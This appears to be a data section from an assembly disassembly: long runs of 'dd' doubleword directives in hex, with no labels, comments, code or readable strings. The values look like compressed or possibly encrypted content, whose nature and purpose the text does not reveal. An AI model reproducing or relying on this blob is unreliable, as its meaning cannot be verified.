		dd 0B6246121h, 84A44420h, 0F8E46422h, 80DCBC1Ah, 3D4A637Ah
		dd 0CF0F2E49h, 2158C935h, 0D9FE2A4h, 1CF1B992h,	11749108h
		dd 84F8A4Ah, 0A564501Ch, 0CA615443h, 0A1AE712Dh, 825FBA1Ch
		dd 24E14842h, 0CF9CE4C5h, 59C0C109h, 0BC8FC7h, 8D223F99h
		dd 4B413A92h, 651F2380h, 7AC279FBh, 19F230A0h, 80B74733h
		dd 84F6A556h, 8BEC13h, 7E160DD5h, 0C903282Fh, 7F636DA5h
		dd 20C02144h, 6A188291h, 0D75141FFh, 0B9F2D526h, 151BE500h
		dd 12012762h, 0A2925761h, 85B200C8h, 0FC647BAAh, 0C04E011Fh
		dd 3596B523h, 0E8DCDCFFh, 680DC51Ah, 0EBC742E8h, 0AC7FE178h
		dd 0CC112839h, 49F409B6h, 8C89905h, 74B40815h, 0F0C09BA5h
		dd 1663FD39h, 12EDB638h, 885600B5h, 0FBC1F155h,	0DCA05C3Fh
		dd 209E8F9Ch, 0A36F812Bh, 3E033A39h, 5E8277BAh,	0E20D99B3h
		dd 0CD500C40h, 0D8E89882h, 23330075h, 0C440E9B7h, 0AFB0C942h
		dd 45301000h, 9A5557Bh,	85A325BBh, 271E246Ch, 534090CDh
		dd 0C8D87DB5h, 0EA550029h, 71593AC1h, 0CC90C9F3h, 84222D5Eh
		dd 80747B7Ch, 888AA5E6h, 0C3009769h, 0FB4F5034h, 0A58A8E9h
		dd 7EC4277Dh, 1FE51CCCh, 9F66C9B7h, 0B5EF3410h,	0C6F1F0A0h
		dd 179AEF2h, 8C19623Ah,	60840BBAh, 926724Eh, 5A3EBE2Eh
		dd 0CB652802h, 0C901384Eh, 123ACE5Dh, 34226B32h, 0CF2CA300h
		dd 0AB46FB8Eh, 28C9C300h, 0B1ACD062h, 0B2E205FDh, 88EA32A8h
		dd 1B296464h, 0F5042C06h, 7CC27F41h, 0BC442922h, 8BDAE602h
		dd 603BD0EEh, 0EA152E0Ah, 9E49090Dh, 30A46051h,	52474096h
		dd 64DDD80h, 0AFF7A370h, 0E900E8EBh, 67160432h,	19AA0EF8h
		dd 91BA6912h, 0E7E8857Eh, 0BCF24DE9h, 0DA56E504h, 108A963h
		dd 5DD4DF01h, 15FCE354h, 0A97C0261h, 6C770E1Ah,	0F404EC70h
		dd 0E0DB0FC3h, 4EE80D81h, 0C5872C38h, 8F72EF8h,	0D91CCDE4h
		dd 68553244h, 7FB97090h, 57E300DCh, 64432CCCh, 0C0510633h
		dd 0F0403494h, 344D5Ch,	0A1C332ACh, 3CB75AB2h, 9081CDE6h
		dd 9B38F975h, 7D29209Ch, 0B948D500h, 43419A16h,	0A571C2h
		dd 4E216997h, 80E3FAA9h, 8501987Ch, 0CB5ACDC3h,	56E4B505h
		dd 402F30FCh, 0FBCA31F9h, 5745D407h, 9AF0C155h,	305EE647h
		dd 8DB9F99Eh, 0C83A167Bh, 30AF00A7h, 191F6BB8h,	94540F32h
		dd 6060861Ch, 0A1D038C7h, 6F27E000h, 4BC48CC2h,	4E500E6Ah
		dd 0BF003280h, 92789F97h, 9B959800h, 3794CCF3h,	0A8293ABDh
		dd 0EB3DACh, 74FA433h, 3417D8C7h, 9409AC43h, 475459CBh
		dd 0E171B0F6h, 7008C31h, 0B8028141h, 97748973h,	0B6A60022h
		dd 0B4C42Bh, 535D2857h,	0C60A2E8h, 3D8D0400h, 8CE46EAEh
		dd 3BEE01EBh, 2FFEB5B9h, 54418FA9h, 0CC4DF165h,	0E5640496h
		dd 3549CBAh, 1690080Ch,	0E7028Bh, 0EAF585Dh, 14840C1Fh
		dd 0DB437E00h, 7337C131h, 302890FFh, 0C061F79Eh, 1034609h
		dd 0E8138DDEh, 2247B0ABh, 0DD02003Ch, 0C5436C8h, 44659A3Bh
		dd 488CCEE8h, 92FCB4C2h, 6638A481h, 0C8771A09h,	0D95A805Ch
		dd 160D1344h, 103370C6h, 71011488h, 17926B7Eh, 9A7FD8FBh
		dd 8148CF2Dh, 0C8365588h, 0D24E2987h, 0B1800EFFh, 0CEA95D27h
		dd 0F1E2D70Ch, 88FDC822h, 3D00B25Eh, 13D22005h,	0EB99C5h
		dd 0B55B1873h, 0C9CBE765h, 7863552Eh, 0E45FAE40h, 41FE609Eh
		dd 42E27D02h, 8BBAB700h, 2058E7B8h, 0F8600049h,	40ADD8DCh
		dd 4A2CE905h, 0E2411C79h, 3FD0984Fh, 788F0C9Ch,	3CE8AC91h
		dd 0BAADE90Bh, 8414FFh,	0A4B5366Eh, 0BC681739h,	62273Fh
		dd 0AC1D91A6h, 0BBAB97Dh, 0CC0AC045h, 7056E487h, 0F31828D5h
		dd 4BC93B1Fh, 0C4BC0BE5h, 0FF1E0ECh, 38BBFDA4h,	9DA508A1h
		dd 757330D3h, 0A690E650h, 2886ED26h, 0FC4B08h, 6BFF7C8Eh
		dd 0BCB81C6Ch, 144E344h, 4D7D0DBEh, 0D8641EE7h,	3E2A66C4h
		dd 365AA098h, 9DC51446h, 0CDFD0181h, 480BF060h,	227D40Eh
		dd 0AC059801h, 0C74A7F4Eh, 0CA44EC51h, 0A96DC2Ch, 80905264h
		dd 687A97ACh, 493B96F3h, 0B73080C2h, 1FFFC4EBh,	5655034Fh
		dd 5777C0F6h, 306D64B9h, 4489B7F0h, 7BD2E7F5h, 4B501A0h
		dd 31907D50h, 8BEB600Bh, 0FC314709h, 108CD9C1h,	0C115C865h
		dd 8AB2151h, 0E861C479h, 8800AC65h, 43A5C0C3h, 0D53EE6E5h
		dd 4DE2006Ah, 0ED382141h, 0F6C60089h, 0FF444F31h, 69D74A19h
		dd 32DB6480h, 35560988h, 0C47850E3h, 9AE63A0Bh,	0C09C2483h
		dd 0FFDE2E00h, 30E55BE5h, 0D900EE64h, 0C54CABA9h, 30D39Eh
		dd 106EBBE3h, 0AA062CF5h, 8888098h, 9DE762h, 0DAEF1F30h
		dd 0ACC3003Ch, 2DE26373h, 6E14DF3Ah, 0C12532h, 0DE023E5Bh
		dd 0F474DE3h, 7DD1F579h, 4B2B8B80h, 4E0334DAh, 0B69BB3B7h
		dd 267BE09Dh, 3C1801F1h, 0DF966166h, 45F082D6h,	5C46C4FFh
		dd 0C2659F0h, 0B8C94D05h, 7DB088C0h, 0CCA05412h, 0A600E424h
		dd 0BB2993C6h, 9F2E0B5h, 66E91095h, 5505F459h, 3008CF37h
		dd 0C4004B1Bh, 0C67DC392h, 38B13098h, 371AD580h, 247F82h
		dd 0FFC294DAh, 0A2ECC43h, 0BEF763Fh, 0ABBD3C6h,	610880A4h
		dd 714EFBh, 2FD5A927h, 0E83FBB9Dh, 597701B1h, 0AF0B25B0h
		dd 3B55F8E2h, 0C59264B4h, 37A4A4h, 33125CE1h, 43D51D59h
		dd 6888B04Fh, 49AD024Dh, 60076A08h, 0D94EEB61h,	0B5B981C8h
		dd 0E4FE274Ah, 9D5EB420h, 0F8BC5811h, 23008D1Bh, 0F2743B22h
		dd 8B44FDh, 0F85051CBh,	0B89BBB47h, 0C4C848D3h,	0F04800E7h
		dd 0CF5776A3h, 0B09A41D7h, 207FE82Dh, 2E9135ACh, 10942CAEh
		dd 221D12ECh, 0C4526AE0h, 990B4600h, 1AFF3139h,	233A027Ch
		dd 4AE842EFh, 1200D052h, 325B100Fh, 0A8E05782h,	8995F890h
		dd 2EA6119Ah, 62301ECh,	0BB669BEDh, 790071ABh, 0EFC6B726h
		dd 527544h, 21AEE385h, 87C9E70Fh, 60F6C000h, 0FC2E0393h
		dd 9422971Ah, 8DA6154h,	6B32AE1Dh, 0B589A0EEh, 0E5C4987Ch
		dd 0C4380B26h, 10109F98h, 230083E3h, 7B0F285Ch,	7FBA16CBh
		dd 0B45809BEh, 90595755h, 0D48C2E00h, 7DE51349h, 7A2C26A6h
		dd 8C5149ECh, 0E0E9AE0Eh, 0EC35A88Eh, 3CA41D65h, 3226FCC9h
		dd 0F8B778F4h, 9B1F2500h
		dd 0AFD30ADEh, 9E50283Dh, 8E5900CAh, 0F803D50Fh, 0C862FEBAh
		dd 22E43DF1h, 0F876C0FBh, 64626542h, 503558CCh,	93E0BDCFh
		dd 0DC277122h, 1167F3Dh, 0D9D80AC1h, 4C54CB3Bh,	12E0F0F8h
		dd 0F007347h, 0D011D38Bh, 3995A7Dh, 0EAFC9A17h,	0BBF21AADh
		dd 4B65C890h, 0E0BC564Bh, 912E007Ah, 0E3EEA975h, 0CB7D059Ch
		dd 1BDDDF00h, 33425702h, 208B03A0h, 0D6B17A1Dh,	3AB20800h
		dd 36D9E6D1h, 0D57C1F01h, 378880F6h, 0B08574C0h, 0C200397Ch
		dd 0BB99948Dh, 44063Dh,	1BBCDF98h, 2A11AF0Fh, 0DAB2CF00h
		dd 0C08B7686h, 0A080E981h, 0BC795532h, 0B1C04C63h, 0C36C0703h
		dd 5F2B2EEDh, 3E560068h, 0D0715531h, 0A4C83B4Ah, 1F027616h
		dd 1CFD44Eh, 177293C7h,	1C9C42B4h, 0F89A1C7Ah, 8EFC009Fh
		dd 0B99F3F29h, 989B0068h, 0C42BA74Ch, 1C978300h, 0A888DF81h
		dd 99B512F6h, 333CD8ADh, 0E99D0604h, 35409A65h,	0CD64B1C3h
		dd 0AE0B6304h, 0A4DF20h, 0ECB8C0D9h, 0E28A8D78h, 95B0D4B0h
		dd 0C0E4DF27h, 8145B2DCh, 187DC5h, 890E0348h, 395BF7B5h
		dd 0D1019EA6h, 7F932939h, 4D4442Eh, 0C8C63648h,	490E1C1Ch
		dd 0E01B529Dh, 743AF29Ah, 14D4983Eh, 806ABACAh,	63D46504h
		dd 0BF289051h, 0DD00611Ch, 0FEFD85A3h, 67F5F4h,	5425492h
		dd 4CB7D7E6h, 1EC164Ch,	0C8DDD462h, 406ABAE4h, 2E8818BCh
		dd 8B78B5D0h, 3D55CB18h, 13F2B999h, 0F05BDFC1h,	5305B104h
		dd 0A5376F1Bh, 77185800h, 1F7663BAh, 3A6652A1h,	0ABE8204Ah
		dd 2802AFA3h, 14112449h, 90B743FBh, 0FB8FE75Dh,	61373DD8h
		dd 6AF2E10Bh, 0FBA858ABh, 0E5541250h, 0A6A33600h, 0BD6651E2h
		dd 0C9A122C2h, 0A4654D2Fh, 3E05CCE8h, 0BB9809CBh, 0D71EC0DAh
		dd 0CA0043DAh, 0C12E6448h, 93E49Ah, 17A712D6h, 2595E0C6h
		dd 0A47FF8A0h, 0B8B9E200h, 350F3A32h, 0A4805C12h, 0C0039822h
		dd 0E247571Bh, 1A6009EAh, 9E409AA9h, 4417AC84h,	8422EFC8h
		dd 50A05E61h, 0F379B7CCh, 0A0EABB00h, 2E34C722h, 0ECFA00B1h
		dd 0D9075C3Eh, 0AF7D4E52h, 41065A01h, 72135653h, 8D700C47h
		dd 1DF71E3Dh, 0C93C456Eh, 0FCD2BAA8h, 8FD2483Ch, 60EBDA69h
		dd 2A2C420h, 0FF7F2CCFh, 14C42784h, 61F60C04h, 0C381A14Dh
		dd 0F520787Fh, 0E4BA0128h, 1CAB3618h, 21D47D7Bh, 0FCA23E3Ch
		dd 0E880D499h, 0F18A51F0h, 0E6172C0Fh, 40842F70h, 0A8AA00A4h
		dd 0A077BA3Bh, 0B51F2F0h, 0CE64E902h, 6BCAB8E9h, 8BC5C021h
		dd 38254710h, 6EBD4100h, 8E1F19B7h, 17847237h, 23137Bh
		dd 0FC447540h, 620C8FE3h, 0E8CD3227h, 0B97F4454h, 0DE99D914h
		dd 8C077768h, 23880B5Dh, 0B8444FBh, 0EE276656h,	0A0E518A6h
		dd 0B02160B1h, 4213A581h, 6FCCCBFDh, 0B6332538h, 0D609FC64h
		dd 80180A10h, 13FDA69h,	0A37865h, 1C17D21Ah, 0AE3C1FA0h
		dd 11D9BA27h, 4F10E484h, 0A92E2987h, 0A700A576h, 5BCA56A8h
		dd 88E74849h, 0E483C087h, 843C841Ch, 0C51C8118h, 0BD81819Ch
		dd 0D904DF31h, 50C33DE0h, 0F6BACA6h, 0D77F081Bh, 2D37E2E0h
		dd 30B7B32h, 44C9450Dh,	3BDE2C14h, 0F4212F30h, 7C99CDC8h
		dd 0BBEA8024h, 2E71396h, 674F4D33h, 8C50819Ah, 1803454Ah
		dd 0E0AC85CAh, 90AF551Dh, 0EC115488h, 1109981h,	0CD2AE4F6h
		dd 7116F0ADh, 8653FB00h, 171E3AFCh, 4AE90089h, 0B56491E2h
		dd 2C036180h, 0AF50E50Dh, 8257A232h, 1983ED4h, 0E349B77Ah
		dd 54CCD0FCh, 92951269h, 80C06558h, 539910A9h, 683FDBC2h
		dd 0DC9180B1h, 506111FBh, 8A5209C7h, 801BDFDDh,	0DBD93940h
		dd 3D81F41Dh, 1C31C2D2h, 203E5241h, 43DBB2A0h, 8F3AB801h
		dd 0FEB6ED42h, 0AA34736Bh, 824E87E1h, 79E37EA8h, 986CC67Ah
		dd 6CB6009Eh, 0AD2201Dh, 2D01351Ch, 583B5705h, 0F4304191h
		dd 22E24F3Dh, 4880C534h, 0A8CA4DDBh, 94ADE705h,	40F05B2Eh
		dd 2C18A09Eh, 532F00F0h, 0D9C21F06h, 0AD7C61D5h, 464B9417h
		dd 58307812h, 0F27A830Fh, 0D1970090h, 7B156E8Fh, 2F242A94h
		dd 986AB866h, 308B4917h, 0B07FDB0Bh, 4B57A023h,	0CD446013h
		dd 62B17490h, 27A1024Eh, 77C2B366h, 470A54DAh, 90605ED3h
		dd 4CF39916h, 4B44AD05h, 0ADB4D555h, 0B4069DD4h, 48684A4Fh
		dd 0FB22B091h, 0B13B8A00h, 4EE6B39Eh, 642B0062h, 90BBE9D3h
		dd 0F5005CC2h, 0AE0191EDh, 0B128993Dh, 0E59E8E50h, 6DAB6002h
		dd 548F2C74h, 679CE766h, 0C070C163h, 0BA0E94AEh, 9418B520h
		dd 7C00AF89h, 0C7D53746h, 25EBFA3Bh, 3819E0B5h,	63BDD04Eh
		dd 803E5CB1h, 615E2AB4h, 0D7DE18h, 3753283Ah, 63D81F91h
		dd 259D94BCh, 1CE4CCC0h, 0EA84C8h, 9449C583h, 1D086A4Dh
		dd 6FC4B804h, 6888C693h, 947F16E8h, 0A4A645h, 53D6C748h
		dd 70B60Dh, 60569489h, 0B265E383h, 224B5F2Dh, 0E0D1793Ch
		dd 52D7D08h, 60579C7Bh,	543088F7h, 8268614Ch, 80C9CFAEh
		dd 8DE2B5F0h, 933206E9h, 5831F165h, 5DDF9A1Ch, 2770B0A0h
		dd 84E13CD8h, 0F9DC42AEh, 0D1FABC20h, 3F07FA4h,	0ABF67B20h
		dd 86F0544Ch, 8E00BBD3h, 4F1E601Ch, 255704ECh, 20203A3Fh
		dd 9E257F9Dh, 0C8A49FE8h, 37A7507h, 231E8C9h, 4820E576h
		dd 60D988E1h, 7155D309h, 7ACC70BEh, 0EE3C003Eh,	0EAC985CDh
		dd 15C136Ah, 0CA8A81E4h, 533EC226h, 13E0C880h, 0BBEBEF00h
		dd 0D94D0AE7h, 0E3C42898h, 40CF7D98h, 2B007DE4h, 0DECB8F66h
		dd 13BE2E7Fh, 0F3A68B37h, 0CC3C0340h, 0DA82577Ah, 10E8F9C0h
		dd 4AC1C866h, 2B63603Ch, 4F00EDACh, 0F3200C64h,	6818DDBh
		dd 0B2E71D12h, 481C0922h, 27447634h, 988C58BDh,	24A100E5h
		dd 5029924Dh, 0B7005A72h, 0BD606EA9h, 48D54BCAh, 204FC08Dh
		dd 29561374h, 0FE507007h, 44F44805h, 42740CC7h,	48B1C64Fh
		dd 982288h, 0D37E335h, 2CD316BFh, 3C20DEFEh, 85F0BFCFh
		dd 0FB0E6F00h, 0CA810248h, 376400ACh, 0D699AAF4h, 143A135Ah
		dd 88571F7Eh, 22C0A41Ch, 84C3BFBAh, 744D00D9h, 92E12D64h
		dd 693DE0C2h, 0F1AB0E5Fh, 65BAC519h, 9273BC09h,	964E403Ch
		dd 136C908Fh, 0F406116Fh, 0B1D4186Ch, 0C4204E2Ch, 58A824h
		dd 91ABA6D4h, 546BB29Bh, 0B9C13A61h, 0D5E432ACh, 90ACB0BAh
		dd 400CB964h, 6A4896FAh, 0B4A78300h, 92DB4E75h,	0CD1F1D27h
		dd 0BD0289F5h, 0F40074C4h, 78085476h, 7630C60Fh, 0F816000Eh
		dd 25D4B08Eh, 712E594Ah, 37087CD6h, 1194A407h, 84321642h
		dd 408738B0h, 0F4B8B6FAh, 22BD0522h, 3098E73Bh,	0FB1D422h
		dd 2B644E56h, 28A08046h, 4E92B822h, 0EF0440BAh,	6669BB93h
		dd 632DD813h, 0C2283420h, 501B7C74h, 0B52A9722h, 225ED404h
		dd 0A908CAA3h, 806CF384h, 0D0E7A0F1h, 0BD26B3AEh, 6300D5C3h
		dd 0C982C00Dh, 9A51281Ah, 0FC14FC82h, 0B28C00DDh, 285B6D8Bh
		dd 790A5C06h, 5419FC54h, 0D962B73Bh, 0E232F580h, 3B2A0164h
		dd 5AC037ECh, 4D28304Eh, 44659D25h, 5C10BD10h, 0E0B51B77h
		dd 4AFBE9C5h, 6A7CD217h, 1980E85Eh, 20A78BC5h, 0ED27005Ah
		dd 90FA36CFh, 4900924Ch, 0BD8EEA3Ch, 0FBEB341h,	4DB07C12h
		dd 0A436F300h, 52FECD97h, 54159202h, 519163F7h,	78FD111Ch
		dd 674E2C0Bh, 1C5C805Dh, 602D8C74h, 4AB0848Eh, 0A9006149h
		dd 0E2118960h, 646BF6C7h, 0FD32080Ch, 0C98A0E94h, 4BC6401Ch
		dd 0D54808h, 0D951AAE2h, 0DB528FC5h, 0B911C303h, 983199A8h
		dd 529AE50h, 19F7A9CEh,	5FBB0057h, 9368A28h, 85C3EE38h
		dd 0CBD34939h, 0F700FB1Fh
		dd 66A29FA5h, 2883E724h, 30534BA9h, 88C32BA3h, 196292B8h
		dd 96D10A0Ch, 316180Fh,	1B9D7E65h, 15A8A0B1h, 1A727B73h
		dd 0CB17E800h, 255FA658h, 6CBB0728h, 80578AAEh,	0ECB39D29h
		dd 0AD6881E9h, 0A80F4DE3h, 6451F700h, 2213FF01h, 4017877Ch
		dd 83B99Fh, 3412AFE1h, 22009C6Eh, 0F98F2675h, 22618AC2h
		dd 0D03AE925h, 0F8244087h, 8CB30959h, 0DD004CF8h, 53485F46h
		dd 0F3D97861h, 9CDCC4BEh, 0D4F80036h, 0E407D20Ah, 0AA605914h
		dd 0ACC02B51h, 506F18A6h, 964D3966h, 193F7100h,	0DBDFC83h
		dd 10B811h, 0AFE04DDh, 6DBD977h, 32318FE9h, 9CC14A20h
		dd 1396B001h, 6180C26Bh, 0B4AD4528h, 6E4435DBh,	86501556h
		dd 0FE00B49Ch, 43F9F22Dh, 0D67E25B0h, 0F6D1BD27h, 4C081DFBh
		dd 2A280C76h, 26DA9E1Dh, 311B0870h, 49030002h, 0DB980406h
		dd 61C9BA08h, 0A081017h, 427BB1h, 0C0DB34D8h, 303B38DAh
		dd 5AC2B90Ah, 42008943h, 5228F45Bh, 0C5A030A4h,	0D15D14B9h
		dd 1098121Ch, 0E68C023Ch, 907C28A7h, 50672AC0h,	6FDA74DEh
		dd 0C60FA90Fh, 0AF115140h, 21CF2EA0h, 2766C057h, 15B0CBh
		dd 0CFBF0A68h, 1D61C30h, 92F4C101h, 0B34256ACh,	0FE9D6187h
		dd 90148A3h, 0A83F5049h, 0F9AD5600h, 0F029B061h, 0EFCC0464h
		dd 394B07E2h, 0C0088ADAh, 0A93113F6h, 0BC334629h, 0BE6B9838h
		dd 888BBC68h, 801DDB7h,	12F66062h, 8C220FD8h, 266B5000h
		dd 0AB29ACEAh, 281C8D48h, 2A0174BDh, 9DEEBB8Ch,	0A982A2BAh
		dd 0AC590356h, 82916045h, 0E90FC300h, 79FA02C6h, 22580948h
		dd 0CCB8007Fh, 0B74A2077h, 37009B18h, 266022C3h, 1987394Fh
		dd 4921A0ADh, 4916D8B2h, 1C14600h, 0BD3A6020h, 9BEE00D7h
		dd 2B23DBA5h, 6C001A8Dh, 49FEF984h, 0E81536A3h,	0DD0F010Eh
		dd 10BD286Ah, 0A851803Dh, 6290AC53h, 500D0A2Ch,	1F084BBEh
		dd 50E0D2F4h, 40ADA40h,	40D4D103h, 7DB217DDh, 7442341Dh
		dd 24E2E181h, 830B0EDh,	653137DBh, 9054E4E1h, 9AC4BD4Ch
		dd 4BFCE301h, 0E7B07694h, 0ED270D4h, 0E8FF2072h, 0F705D660h
		dd 77008868h, 0AAA29133h, 1D7CC6Ah, 0B9A994FAh,	0C826954Ah
		dd 5704B10Ch, 7A0FBCA0h, 9335088h, 7291061Dh, 40D96C04h
		dd 0EAE07A3Ch, 66E50728h, 4311A32Ch, 211F29DDh,	0DA0C6F37h
		dd 9A4B1133h, 58B4F4C8h, 196081ACh, 0B5A77AA1h,	34067807h
		dd 42B00CEAh, 78A5099h,	0C29F33A0h, 0A344A010h,	6001AE6Dh
		dd 7BEF27A2h, 98E88687h, 0A80B6063h, 59B80C8Dh,	31A78801h
		dd 0AA625334h, 0DF661886h, 0D04C71DBh, 457500F8h, 8EA75A74h
		dd 0E9E20053h, 0FC040543h, 121E8368h, 0C8C3BB1Ch, 14EF45Dh
		dd 9B400C30h, 0BEAF037Eh, 315FBE41h, 2F2D10C5h,	0E3EFDCF1h
		dd 71C2C0ACh, 77A200F5h, 4AEA1228h, 0F1005144h,	27BD8352h
		dd 12342D1h, 55EC4EFDh,	8C94F6EAh, 61ABAC59h, 0F77FE9Ch
		dd 7E057FECh, 0CF130AE1h, 2CA48187h, 0DCFD868Dh, 0A53900D3h
		dd 705CC878h, 0F50010F6h, 8B9BA042h, 1FB9339h, 37C9C455h
		dd 91BC9C88h, 0DB0EB970h, 0E4611A3Ch, 0F7C06128h, 0E7E580Ch
		dd 36AD89A8h, 18D9777Ch, 0A90510E9h, 6E81015Dh,	2EDF5B87h
		dd 433DDC26h, 67F49901h, 0CB3A8217h, 7DC6F0h, 0FCB9AFA4h
		dd 6C7C165Ah, 5D4FE203h, 9BB613EAh, 0A780E7E6h,	0C0507182h
		dd 8A2C2761h, 0AF14EF47h, 83DCC47Eh, 0C054574Ch, 2EB120ECh
		dd 3888024Ah, 0DC8ECB14h, 28E5C618h, 180027ACh,	7E634AA5h
		dd 50A63Dh, 62931E28h, 85C6A8F0h, 0A3833690h, 0FB00E19Eh
		dd 5C414C1Eh, 0C7E4B8D9h, 0E0ADBC6Ch, 4D6FC08Dh, 5FDDBEA0h
		dd 0F715B3B0h, 0A48FDCh, 0C656D5AAh, 0A06B6050h, 0DD57FCF7h
		dd 0AD3EA2B8h, 0DC696366h, 5A390081h, 357C688Ah, 8E0056EDh
		dd 0BA5ADE9h, 48C12B0Eh, 0F3281062h, 2FAC448Ch,	32B13F01h
		dd 4E74B79Fh, 840C7E1h,	50188EFAh, 1D88F3h, 4FBB6572h
		dd 0FEC46D08h, 99075801h, 0FDF45448h, 0B0B9ABE8h, 0F87830DBh
		dd 2EDB2899h, 0C1794C07h, 3DC6EA8Dh, 279215A9h,	570FACFDh
		dd 7447E455h, 54E1A024h, 1349205Dh, 9B501494h, 0B15F308Bh
		dd 0EF97C6Dh, 37BB61A3h, 0DFF4CB20h, 0F004D4D8h, 3101E8C4h
		dd 7BF43089h, 0BA570774h, 872DAEF9h, 1911ECA3h,	38FAC805h
		dd 0F403E1EAh, 4C7CDF4Fh, 7B4639h, 22EEA830h, 19BC6B16h
		dd 0C53665Ch, 287861C6h, 0C0A4DCh, 34C1A4D1h, 0AD03817Fh
		dd 97E16800h, 0C3FBFE9Eh, 0C45D1D26h, 7CF1B0CBh, 1D289979h
		dd 0ADEA38DCh, 0E7425B00h, 0E0F98B0Ch, 882E00D5h, 0EE17D819h
		dd 18980E60h, 5079F205h, 0C142374h, 0D04784Eh, 0DC544F55h
		dd 0AAFC88h, 0FBA8FD14h, 467496ACh, 7F5EF600h, 0E3F79FF3h
		dd 3CBE0530h, 20C6B155h, 29FC5AC4h, 0CD604F0Fh,	4C6105E4h
		dd 5989500Ch, 0CF6400E9h, 0A8129EC2h, 0FE004887h, 2D61CCC4h
		dd 1E28913Dh, 877CE20h,	0C7A0E1C7h, 0EF3A9D00h,	46B743ADh
		dd 0AFF106EBh, 597BF9EAh, 0F05EAC2Ah, 0DA902800h, 0CACD1F80h
		dd 7ED00041h, 0FFEEB911h, 0F23CA63Fh, 0ACE004C8h, 0B8813C7Bh
		dd 40DD55FAh, 5CF54180h, 61EE6AEh, 5B92A07h, 85208798h
		dd 194715ABh, 0E1AA3E6Eh, 27E1075h, 0F7547197h,	0C8003422h
		dd 39AE2FFh, 2000408Eh,	97567FE4h, 112C307h, 7E85BB81h
		dd 80F45139h, 65B3E330h, 9280D192h, 0F577110h, 5469AB7Dh
		dd 71EB2886h, 797BDC30h, 2C3FF9h, 1CD779B3h, 0BB375C17h
		dd 3B7E8C00h, 422EFA18h, 39E460C7h, 0E9C5B4FBh,	1673FC7Ch
		dd 0B6D913Ah, 8E1F9919h, 8411A2DBh, 0B9B741ACh,	0F5002837h
		dd 1863DD60h, 7C00EFF8h, 8BB3A7F0h, 0D29DD595h,	775C0868h
		dd 3843FA81h, 41CEA664h, 72137E8Ch, 0C09EC5D8h,	0B38F8300h
		dd 40F34862h, 3B24036Eh, 4EDD2267h, 0D3958EE0h,	582FF135h
		dd 0EC167430h, 338400D4h, 39C3D513h, 0EA3E4EF1h, 24D4CDF3h
		dd 7B601CE5h, 7608718Bh, 9B9C0F85h, 0AA6A623Ch,	518687D0h
		dd 55DB4014h, 5C007C04h, 5FA07876h, 0E56F5ACh, 3F115496h
		dd 0B3E87DE0h, 0DC2AFAFCh, 950F8880h, 0C06E058Fh, 0A9A8F3BCh
		dd 0FA3B0248h, 79A0C6D6h, 4149D4A4h, 8F59B5C2h,	0B1DED0h
		dd 0E652B85h, 7FF6FC78h, 0E63FBF00h, 738874D1h,	37860069h
		dd 0E7392EF4h, 257DB749h, 0E01AAF26h, 54E60203h, 52E0DE6Ch
		dd 8A22D44Dh, 0F9F2ED0Eh, 0E5025C48h, 48FD7F84h, 7321AF04h
		dd 80A6548Ch, 0E8DF63Fh, 9926B9Ah, 0EFAD1001h, 0D0EC3544h
		dd 7E2855FFh, 4C5C1838h, 3DBA093Fh, 4EB881C8h, 8C511CDCh
		dd 45130F7Eh, 923C7898h, 7250D373h, 0E050EA80h,	2A1FBD2Ch
		dd 8700F009h, 29E555FDh, 7451C025h, 0C754C437h,	1E78600h
		dd 2E996166h, 24794C38h, 52808C88h, 33FCECB2h, 4E8700DEh
		dd 57C1FFBh, 7DB81CD5h,	0F929BB60h, 66E03Ch, 0E3A9BFBEh
		dd 4D081E8Dh, 37F2C500h, 77BD40F5h, 0E27602D8h,	52A035D0h
		dd 7D8093E2h, 0E1C48CC1h, 16AA9D65h, 10814082h,	0E38BE228h
		dd 71A17CFBh, 2CF03D63h, 8854AAh, 330B37CAh, 0C4FA66FBh
		dd 8BD1EE00h, 0DC7459DFh, 97B0071Dh, 85F6EC4Fh,	0C4080534h
		dd 78141AC6h, 0E4BCA010h, 0A4F4243Bh, 0FF44F0FCh, 4B116840h
		dd 341E1EF8h, 0DED629E0h, 72FEE000h, 45494C4h, 9CA98D13h
		dd 5BAC43Eh, 12367408h,	38843014h, 0ECE04D34h, 6B007E74h
		dd 52480B20h, 1B7A73Fh,	6A98CB5Ch, 10FC2692h, 0C347FEEAh
		dd 844EE5A9h, 8ED86F5h
		dd 59C052FEh, 0C5B260CBh, 99CE321Bh, 0F320F540h, 26217683h
		dd 81CCEBAEh, 3DF6442Eh, 8716F073h, 4945863Ah, 0EAE20A84h
		dd 0E441BCF5h, 2C22692Ah, 41C67E0Ch, 0E060C771h, 1045661h
		dd 0E6420E81h, 596EC5F0h, 464161Ch, 54E21EE4h, 0AF8E1058h
		dd 4955AC18h, 793DF86Ch, 0DCB9946Dh, 0FC580010h, 5EC42653h
		dd 82500102h, 3854D73Eh, 8DC42EFh, 790C9829h, 0F0C17DCDh
		dd 0DB6D0092h, 6C01EBA8h, 0EF2C573Dh, 0CC60A8AFh, 0F42EEC5Ch
		dd 0D37A3CA8h, 1CC04AAEh, 37DB83A2h, 0A7D307B5h, 894D5900h
		dd 3E644EE9h, 0D0C748ECh, 3890432Ah, 0F0063D6h,	9A08A3DEh
		dd 950062ADh, 57CD8CB8h, 51DE441h, 1F962944h, 9205AF80h
		dd 880391D7h, 537A65ACh, 671FAC49h, 225781DEh, 0D4F8606Bh
		dd 774C8379h, 5649C0B0h, 0C40A0Bh, 987F4BF1h, 0E9AD662Eh
		dd 5C05FA2Ah, 209F200h,	6BED8780h, 7C1E1237h, 209416D4h
		dd 0B9DC7E78h, 190EE3F4h, 8FE826D1h, 726A86E5h,	1DA9899h
		dd 4EF4420Dh, 0D9542B40h, 9B0739Ch, 0FA7B2D3h, 0C26BA0C2h
		dd 2A2653Fh, 3DDB8EB0h,	0D8910C20h, 28A81071h, 89D40579h
		dd 4D1FD86h, 14AF2D10h,	37E0225Ch, 906976DCh, 0C4784387h
		dd 3DF3A00Fh, 9C58C0F8h, 77E2C177h, 9991135Fh, 0F898602Ch
		dd 1C34E8FAh, 18EE2856h, 0E0CC59C3h, 76813802h,	0C6F7BB01h
		dd 9C193F28h, 6D588C80h, 0F0BA127Ch, 0C8A02B00h, 302C1682h
		dd 6AC9090Bh, 801B552Eh, 516D4FE8h, 3817EE00h, 7B8E5098h
		dd 0D18C0101h, 0F4DF26D6h, 7A782D06h, 0A79C600h, 0FB19B58h
		dd 0A22CE840h, 0C44CC0ACh, 170300C7h, 0A4E138DBh, 3758D2E7h
		dd 0CD582218h, 0D5B13DFCh, 0CEF18495h, 0A6C039FFh, 0C89E1h
